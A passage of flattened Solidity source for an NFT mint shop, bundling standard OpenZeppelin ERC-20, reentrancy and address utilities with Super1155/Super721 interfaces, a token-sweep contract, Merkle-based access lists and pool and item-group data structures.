uint256 itemId = (shiftedGroupId + nextIssueNumber) + i; itemIds[i - 1] = itemId; amounts[i - 1] = 1; } } // Update the tracker for available item issue numbers. nextItemIssues[key] = nextIssueNumber + _amount; // Update the count of circulating items from this pool. pools[_id].itemMinted[_itemKey] = _newCirculatingTotal; // Update the pool's count of items that a user has purchased. pools[_id].purchaseCounts[_msgSender()] = _userPoolPurchaseAmount; // Update the global count of items that a user has purchased. globalPurchaseCounts[_msgSender()] = _userGlobalPurchaseAmount; // Mint the items. items[_itemIndex].mintBatch(_msgSender(), itemIds, amounts, ""); emit ItemPurchased(_msgSender(), _id, itemIds, amounts); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "../access/PermitControl.sol"; /** @title A base contract which supports an administrative sweep function wherein authorized callers may transfer ERC-20 tokens out of this contract. @author Tim Clancy @author Qazawat Zirak This is a base contract designed with the intent to support rescuing ERC-20 tokens which users might have wrongly sent to a contract. */ contract Sweepable is PermitControl { using SafeERC20 for IERC20; /// The public identifier for the right to sweep tokens. bytes32 public constant SWEEP = keccak256("SWEEP"); /// The public identifier for the right to lock token sweeps. bytes32 public constant LOCK_SWEEP = keccak256("LOCK_SWEEP"); /// A flag determining whether or not the `sweep` function may be used. bool public sweepLocked; /** An event to track a token sweep event. @param sweeper The calling address which triggered the sweeep. @param token The specific ERC-20 token being swept. @param amount The amount of the ERC-20 token being swept. @param recipient The recipient of the swept tokens. */ event TokenSweep(address indexed sweeper, IERC20 indexed token, uint256 amount, address indexed recipient); /** An event to track future use of the `sweep` function being locked. @param locker The calling address which locked down sweeping. */ event SweepLocked(address indexed locker); /** Return a version number for this contract's interface. */ function version() external virtual override pure returns (uint256) { return 1; } /** Allow the owner or an approved manager to sweep all of a particular ERC-20 token from the contract and send it to another address. This function exists to allow the shop owner to recover tokens that are otherwise sent directly to this contract and get stuck. Provided that sweeping is not locked, this is a useful tool to help buyers recover otherwise-lost funds. @param _token The token to sweep the balance from. @param _amount The amount of token to sweep. @param _address The address to send the swept tokens to. */ function sweep(IERC20 _token, uint256 _amount, address _address) external hasValidPermit(UNIVERSAL, SWEEP) { require(!sweepLocked, "Sweep: the sweep function is locked"); _token.safeTransfer(_address, _amount); emit TokenSweep(_msgSender(), _token, _amount, _address); } /** Allow the shop owner or an approved manager to lock the contract against any future token sweeps. */ function lockSweep() external hasValidPermit(UNIVERSAL, LOCK_SWEEP) { sweepLocked = true; emit SweepLocked(_msgSender()); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.8; import "../../../libraries/DFStorage.sol"; /** @title An interface for the `Super1155` ERC-1155 item collection contract. @author 0xthrpw @author Tim Clancy August 12th, 2021. */ interface ISuper1155 { /// The public identifier for the right to set this contract's metadata URI. function SET_URI () external view returns (bytes32); /// The public identifier for the right to set this contract's proxy registry. function SET_PROXY_REGISTRY () external view returns (bytes32); /// The public identifier for the right to configure item groups. function CONFIGURE_GROUP () external view returns (bytes32); /// The public identifier for the right to mint items. function MINT () external view returns (bytes32); /// The public identifier for the right to burn items. function BURN () external view returns (bytes32); /// The public identifier for the right to set item metadata. function SET_METADATA () external view returns (bytes32); /// The public identifier for the right to lock the metadata URI. function LOCK_URI () external view returns (bytes32); /// The public identifier for the right to lock an item's metadata. function LOCK_ITEM_URI () external view returns (bytes32); /// The public identifier for the right to disable item creation. function LOCK_CREATION () external view returns (bytes32); /// The public name of this contract. function name () external view returns (string memory); /** The ERC-1155 URI for tracking item metadata, supporting {id} substitution. For example: https://token-cdn-domain/{id}.json. See the ERC-1155 spec for more details: https://eips.ethereum.org/EIPS/eip-1155#metadata. */ function metadataUri () external view returns (string memory); /// A proxy registry address for supporting automatic delegated approval. function proxyRegistryAddress () external view returns (address); /// A mapping from each group ID to per-address balances. function groupBalances (uint256, address) external view returns (uint256); /// A mapping from each address to a collection-wide balance. function totalBalances (address) external view returns (uint256); /// A mapping of data for each item group. // function itemGroups (uint256) external view returns (ItemGroup memory); /* function itemGroups (uint256) external view returns (bool initialized, string memory _name, uint8 supplyType, uint256 supplyData, uint8 itemType, uint256 itemData, uint8 burnType, uint256 burnData, uint256 _circulatingSupply, uint256 _mintCount, uint256 _burnCount); */ /// A mapping of circulating supplies for each individual token. function circulatingSupply (uint256) external view returns (uint256); /// A mapping of the number of times each individual token has been minted. function mintCount (uint256) external view returns (uint256); /// A mapping of the number of times each individual token has been burnt. function burnCount (uint256) external view returns (uint256); /** A mapping of token ID to a boolean representing whether the item's metadata has been explicitly frozen via a call to `lockURI(string calldata _uri, uint256 _id)`. Do note that it is possible for an item's mapping here to be false while still having frozen metadata if the item collection as a whole has had its `uriLocked` value set to true. */ function metadataFrozen (uint256) external view returns (bool); /** A public mapping of optional on-chain metadata for each token ID. A token's on-chain metadata is unable to be changed if the item's metadata URI has been permanently fixed or if the collection's metadata URI as a whole has been frozen. */ function metadata (uint256) external view returns (string memory); /// Whether or not the metadata URI has been locked to future changes. function uriLocked () external view returns (bool); /// Whether or not the item collection has been locked to all further minting. function locked () external view returns (bool); /** Return a version number for this contract's interface. */ function version () external view returns (uint256); /** Return the item collection's metadata URI. This implementation returns the same URI for all tokens within the collection and relies on client-side ID substitution per https://eips.ethereum.org/EIPS/eip-1155#metadata. Per said specification, clients calling this function must replace the {id} substring with the actual token ID in hex, not prefixed by 0x, and padded to 64 characters in length. @return The metadata URI string of the item with ID `_itemId`. */ function uri (uint256) external view returns (string memory); /** Allow the item collection owner or an approved manager to update the metadata URI of this collection. This implementation relies on a single URI for all items within the collection, and as such does not emit the standard URI event. Instead, we emit our own event to reflect changes in the URI. @param _uri The new URI to update to. */ function setURI (string memory _uri) external; /** Allow the item collection owner or an approved manager to update the proxy registry address handling delegated approval. @param _proxyRegistryAddress The address of the new proxy registry to update to. */ function setProxyRegistry (address _proxyRegistryAddress) external; /** Retrieve the balance of a particular token `_id` for a particular address `_owner`. @param _owner The owner to check for this token balance. @param _id The ID of the token to check for a balance. @return The amount of token `_id` owned by `_owner`. */ function balanceOf (address _owner, uint256 _id) external view returns (uint256); /** Retrieve in a single call the balances of some mulitple particular token `_ids` held by corresponding `_owners`. @param _owners The owners to check for token balances. @param _ids The IDs of tokens to check for balances. @return the amount of each token owned by each owner. */ function balanceOfBatch (address[] memory _owners, uint256[] memory _ids) external view returns (uint256[] memory); /** This function returns true if `_operator` is approved to transfer items owned by `_owner`. This approval check features an override to explicitly whitelist any addresses delegated in the proxy registry. @param _owner The owner of items to check for transfer ability. @param _operator The potential transferrer of `_owner`'s items. @return Whether `_operator` may transfer items owned by `_owner`. */ function isApprovedForAll (address _owner, address _operator) external view returns (bool); /** Enable or disable approval for a third party `_operator` address to manage (transfer or burn) all of the caller's tokens. @param _operator The address to grant management rights over all of the caller's tokens. @param _approved The status of the `_operator`'s approval for the caller. */ function setApprovalForAll (address _operator, bool _approved) external; /** Transfer on behalf of a caller or one of their authorized token managers items from one address to another. @param _from The address to transfer tokens from. @param _to The address to transfer tokens to. @param _id The specific token ID to transfer. @param _amount The amount of the specific `_id` to transfer. @param _data Additional call data to send with this transfer. */ function safeTransferFrom (address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data) external; /** Transfer on behalf of a caller or one of their authorized token managers items from one address to another. @param _from The address to transfer tokens from. @param _to The address to transfer tokens to. @param _ids The specific token IDs to transfer. @param _amounts The amounts of the specific `_ids` to transfer. @param _data Additional call data to send with this transfer. */ function safeBatchTransferFrom (address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external; /** Create a new NFT item group or configure an existing one. NFTs within a group share a group ID in the upper 128-bits of their full item ID. Within a group NFTs can be distinguished for the purposes of serializing issue numbers. @param _groupId The ID of the item group to create or configure. @param _data The `ItemGroup` data input. */ function configureGroup (uint256 _groupId, DFStorage.ItemGroupInput calldata _data) external; /** Mint a batch of tokens into existence and send them to the `_recipient` address. In order to mint an item, its item group must first have been created. Minting an item must obey both the fungibility and size cap of its group. @param _recipient The address to receive all NFTs within the newly-minted group. @param _ids The item IDs for the new items to create. @param _amounts The amount of each corresponding item ID to create. @param _data Any associated data to use on items minted in this transaction. */ function mintBatch (address _recipient, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data) external; /** This function allows an address to destroy some of its items. @param _burner The address whose item is burning. @param _id The item ID to burn. @param _amount The amount of the corresponding item ID to burn. */ function burn (address _burner, uint256 _id, uint256 _amount) external; /** This function allows an address to destroy multiple different items in a single call. @param _burner The address whose items are burning. @param _ids The item IDs to burn. @param _amounts The amounts of the corresponding item IDs to burn. */ function burnBatch (address _burner, uint256[] memory _ids, uint256[] memory _amounts) external; /** Set the on-chain metadata attached to a specific token ID so long as the collection as a whole or the token specifically has not had metadata editing frozen. @param _id The ID of the token to set the `_metadata` for. @param _metadata The metadata string to store on-chain. */ function setMetadata (uint256 _id, string memory _metadata) external; /** Allow the item collection owner or an associated manager to forever lock the metadata URI on the entire collection to future changes. @param _uri The value of the URI to lock for `_id`. */ function lockURI(string calldata _uri) external; /** Allow the item collection owner or an associated manager to forever lock the metadata URI on an item to future changes. @param _uri The value of the URI to lock for `_id`. @param _id The token ID to lock a metadata URI value into. */ function lockURI(string calldata _uri, uint256 _id) external; /** Allow the item collection owner or an associated manager to forever lock the metadata URI on a group of items to future changes. @param _uri The value of the URI to lock for `groupId`. @param groupId The group ID to lock a metadata URI value into. */ function lockGroupURI(string calldata _uri, uint256 groupId) external; /** Allow the item collection owner or an associated manager to forever lock this contract to further item minting. */ function lock() external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.8; /** @title Super721 interface Interface for interacting with Super721 contract */ interface ISuper721 { /** Returns amount of NFTs, which are owned by `_owner` in some group `_id`. @param _owner address of NFTs owner. @param _id group id of collection. */ function balanceOfGroup(address _owner, uint256 _id) external view returns (uint256); /** Returns overall amount of NFTs, which are owned by `_owner`. @param _owner address of NFTs owner. */ function balanceOf(address _owner) external view returns (uint256); function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.8; /// @title interface for interacting with Staker contract. interface IStaker { /** Allows an approved spender of points to spend points on behalf of a user. @param _user The user whose points are being spent. @param _amount The amount of the user's points being spent. */ function spendPoints(address _user, uint256 _amount) external; /** Return the number of points that the user has available to spend. @return the number of points that the user has available to spend. */ function getAvailablePoints(address _user) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.8; import "../assets/erc1155/interfaces/ISuper1155.sol"; /** @title Interface for interaction with MintShop contract. */ interface IMintShop { /** Allow the owner of the shop or an approved manager to add a new pool of items that users may purchase. @param _pool The PoolInput full of data defining the pool's operation. @param _groupIds The specific item group IDs to sell in this pool, keyed to the `_amounts` array. @param _issueNumberOffsets The offset for the next issue number minted for a particular item group in `_groupIds`. This is *important* to handle pre-minted or partially-minted item groups. @param _caps The maximum amount of each particular groupId that can be sold by this pool. @param _prices The asset address to price pairings to use for selling each item. */ function addPool( DFStorage.PoolInput calldata _pool, uint256[] calldata _groupIds, uint256[] calldata _issueNumberOffsets, uint256[] calldata _caps, DFStorage.Price[][] memory _prices ) external; /** Adds new whiteList restriction for the pool by `_poolId`. @param _poolId id of the pool, where new white list is added. @param whitelist struct for creating a new whitelist. */ function addWhiteList(uint256 _poolId, DFStorage.WhiteListCreate[] calldata whitelist) external; /** Allow the shop owner or an approved manager to set the array of items known to this shop. @param _items The array of Super1155 addresses. */ function setItems(ISuper1155[] memory _items) external; /// The public identifier for the right to set new items. function SET_ITEMS() external view returns (bytes32); /// The public identifier for the right to manage item pools. function POOL() external view returns (bytes32); /// The public identifier for the right to manage whitelists. function WHITELIST() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "./MerkleCore.sol"; import "../../interfaces/IMerkle.sol"; /** @title A merkle tree based access control. @author Qazawat Zirak This contract replaces the traditional whitelists for access control by using a merkle tree, storing the root on-chain instead of all the addressses. The merkle tree alongside the whitelist is kept off-chain for lookups and creating proofs to validate an access. This code is inspired by and modified from incredible work of RicMoo. https://github.com/ricmoo/ethers-airdrop/blob/master/AirDropToken.sol October 12th, 2021. */ abstract contract SuperMerkleAccess is MerkleCore { /// The public identifier for the right to set a root for a round. bytes32 public constant SET_ACCESS_ROUND = keccak256("SET_ACCESS_ROUND"); /** A struct containing information about the AccessList. @param merkleRoot the proof stored on chain to verify against. @param startTime the start time of validity for the accesslist. @param endTime the end time of validity for the accesslist. @param round the number times the accesslist has been set. @param price the amount of ether/token required for the access. @param token the address of the token, paid as a price. A price with zero token address is ether. */ struct AccessList { bytes32 merkleRoot; uint256 startTime; uint256 endTime; uint256 round; uint256 price; address token; } /// MerkleRootId to 'Accesslist', each containing a merkleRoot. mapping (uint256 => AccessList) public accessRoots; /** Set a new round for the accesslist. @param _accesslistId the accesslist id containg the merkleRoot. @param _merkleRoot the new merkleRoot for the round. @param _startTime the start time of the new round. @param _endTime the end time of the new round. @param _price the access price. @param _token the token address for access price. */ function setAccessRound(uint256 _accesslistId, bytes32 _merkleRoot, uint256 _startTime, uint256 _endTime, uint256 _price, address _token) public virtual hasValidPermit(UNIVERSAL, SET_ACCESS_ROUND) { AccessList memory accesslist = AccessList({ merkleRoot: _merkleRoot, startTime: _startTime, endTime: _endTime, round: accessRoots[_accesslistId].round + 1, price: _price, token: _token }); accessRoots[_accesslistId] = accesslist; } /** Verify an access against a targetted markleRoot on-chain. @param _accesslistId the id of the accesslist containing the merkleRoot. @param _index index of the hashed node from off-chain list. @param _node the actual hashed node which needs to be verified. @param _merkleProof required merkle hashes from off-chain merkle tree. */ function verify(uint256 _accesslistId, uint256 _index, bytes32 _node, bytes32[] calldata _merkleProof) public virtual view returns(bool) { if (accessRoots[_accesslistId].merkleRoot == 0) { return false; } else if (block.timestamp < accessRoots[_accesslistId].startTime) { return false; } else if (block.timestamp > accessRoots[_accesslistId].endTime) { return false; } else if (getRootHash(_index, _node, _merkleProof) != accessRoots[_accesslistId].merkleRoot) { return false; } return true; } } pragma solidity 0.8.8; library DFStorage { /** @notice This struct is a source of mapping-free input to the `addPool` function. @param name A name for the pool. @param startTime The timestamp when this pool begins allowing purchases. @param endTime The timestamp after which this pool disallows purchases. @param purchaseLimit The maximum number of items a single address may purchase from this pool. @param singlePurchaseLimit The maximum number of items a single address may purchase from this pool in a single transaction. @param requirement A PoolRequirement requisite for users who want to participate in this pool. */ struct PoolInput { string name; uint256 startTime; uint256 endTime; uint256 purchaseLimit; uint256 singlePurchaseLimit; PoolRequirement requirement; address collection; } /** @notice This enumeration type specifies the different access rules that may be applied to pools in this shop. Access to a pool may be restricted based on the buyer's holdings of either tokens or items. @param Public This specifies a pool which requires no special asset holdings to buy from. @param TokenRequired This specifies a pool which requires the buyer to hold some amount of ERC-20 tokens to buy from. @param ItemRequired This specifies a pool which requires the buyer to hold some amount of an ERC-1155 item to buy from. @param PointRequired This specifies a pool which requires the buyer to hold some amount of points in a Staker to buy from. */ enum AccessType { Public, TokenRequired, ItemRequired, PointRequired, ItemRequired721 } /** @notice This struct tracks information about a prerequisite for a user to participate in a pool. @param requiredType The `AccessType` being applied to gate buyers from participating in this pool. See `requiredAsset` for how additional data can apply to the access type. @param requiredAsset Some more specific information about the asset to require. If the `requiredType` is `TokenRequired`, we use this address to find the ERC-20 token that we should be specifically requiring holdings of. If the `requiredType` is `ItemRequired`, we use this address to find the item contract that we should be specifically requiring holdings of. If the `requiredType` is `PointRequired`, we treat this address as the address of a Staker contract. Do note that in order for this to work, the Staker must have approved this shop as a point spender. @param requiredAmount The amount of the specified `requiredAsset` required for the buyer to purchase from this pool. @param requiredId The ID of an address whitelist to restrict participants in this pool. To participate, a purchaser must have their address present in the corresponding whitelist. Other requirements from `requiredType` also apply. An ID of 0 is a sentinel value for no whitelist required. */ struct PoolRequirement { AccessType requiredType; address[] requiredAsset; uint256 requiredAmount; uint256[] requiredId; } /** @notice This enumeration type specifies the different assets that may be used to complete purchases from this mint shop. @param Point This specifies that the asset being used to complete this purchase is non-transferrable points from a `Staker` contract. @param Ether This specifies that the asset being used to complete this purchase is native Ether currency. @param Token This specifies that the asset being used to complete this purchase is an ERC-20 token. */ enum AssetType { Point, Ether, Token } /** @notice This struct tracks information about a single asset with the associated price that an item is being sold in the shop for. It also includes an `asset` field which is used to convey optional additional data about the asset being used to purchase with. @param assetType The `AssetType` type of the asset being used to buy. @param asset Some more specific information about the asset to charge in. If the `assetType` is Point, we use this address to find the specific Staker whose points are used as the currency. If the `assetType` is Ether, we ignore this field. If the `assetType` is Token, we use this address to find the ERC-20 token that we should be specifically charging with. @param price The amount of the specified `assetType` and `asset` to charge. */ struct Price { AssetType assetType; address asset; uint256 price; } /** This enumeration lists the various supply types that each item group may use. In general, the administrator of this collection or those permissioned to do so may move from a more-permissive supply type to a less-permissive. For example: an uncapped or flexible supply type may be converted to a capped supply type. A capped supply type may not be uncapped later, however. @param Capped There exists a fixed cap on the size of the item group. The cap is set by `supplyData`. @param Uncapped There is no cap on the size of the item group. The value of `supplyData` cannot be set below the current circulating supply but is otherwise ignored. @param Flexible There is a cap which can be raised or lowered (down to circulating supply) freely. The value of `supplyData` cannot be set below the current circulating supply and determines the cap. */ enum SupplyType { Capped, Uncapped, Flexible } /** This enumeration lists the various item types that each item group may use. In general, these are static once chosen. @param Nonfungible The item group is truly nonfungible where each ID may be used only once. The value of `itemData` is ignored. @param Fungible The item group is truly fungible and collapses into a single ID. The value of `itemData` is ignored. @param Semifungible The item group may be broken up across multiple repeating token IDs. The value of `itemData` is the cap of any single token ID in the item group. */ enum ItemType { Nonfungible, Fungible, Semifungible } /** This enumeration lists the various burn types that each item group may use. These are static once chosen. @param None The items in this group may not be burnt. The value of `burnData` is ignored. @param Burnable The items in this group may be burnt. The value of `burnData` is the maximum that may be burnt. @param Replenishable The items in this group, once burnt, may be reminted by the owner. The value of `burnData` is ignored. */ enum BurnType { None, Burnable, Replenishable } /** This struct is a source of mapping-free input to the `configureGroup` function. It defines the settings for a particular item group. @param supplyData An optional integer used by some `supplyType` values. @param itemData An optional integer used by some `itemType` values. @param burnData An optional integer used by some `burnType` values. @param name A name for the item group. @param supplyType The supply type for this group of items. @param itemType The type of item represented by this item group. @param burnType The type of burning permitted by this item group. */ struct ItemGroupInput { uint256 supplyData; uint256 itemData; uint256 burnData; SupplyType supplyType; ItemType itemType; BurnType burnType; string name; } /** This structure is used at the moment of NFT purchase. @param whiteListId Id of a whiteList. @param index Element index in the original array @param allowance The quantity is available to the user for purchase. @param node Base hash of the element. @param merkleProof Proof that the user is on the whitelist. */ struct WhiteListInput { uint256 whiteListId; uint256 index; uint256 allowance; bytes32 node; bytes32[] merkleProof; } /** This structure is used at the moment of NFT purchase. @param _accesslistId Id of a whiteList. @param _merkleRoot Hash root of merkle tree. @param _startTime The start date of the whitelist @param _endTime The end date of the whitelist @param _price The price that applies to the whitelist @param _token Token with which the purchase will be made */ struct WhiteListCreate { uint256 _accesslistId; bytes32 _merkleRoot; uint256 _startTime; uint256 _endTime; uint256 _price; address _token; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes 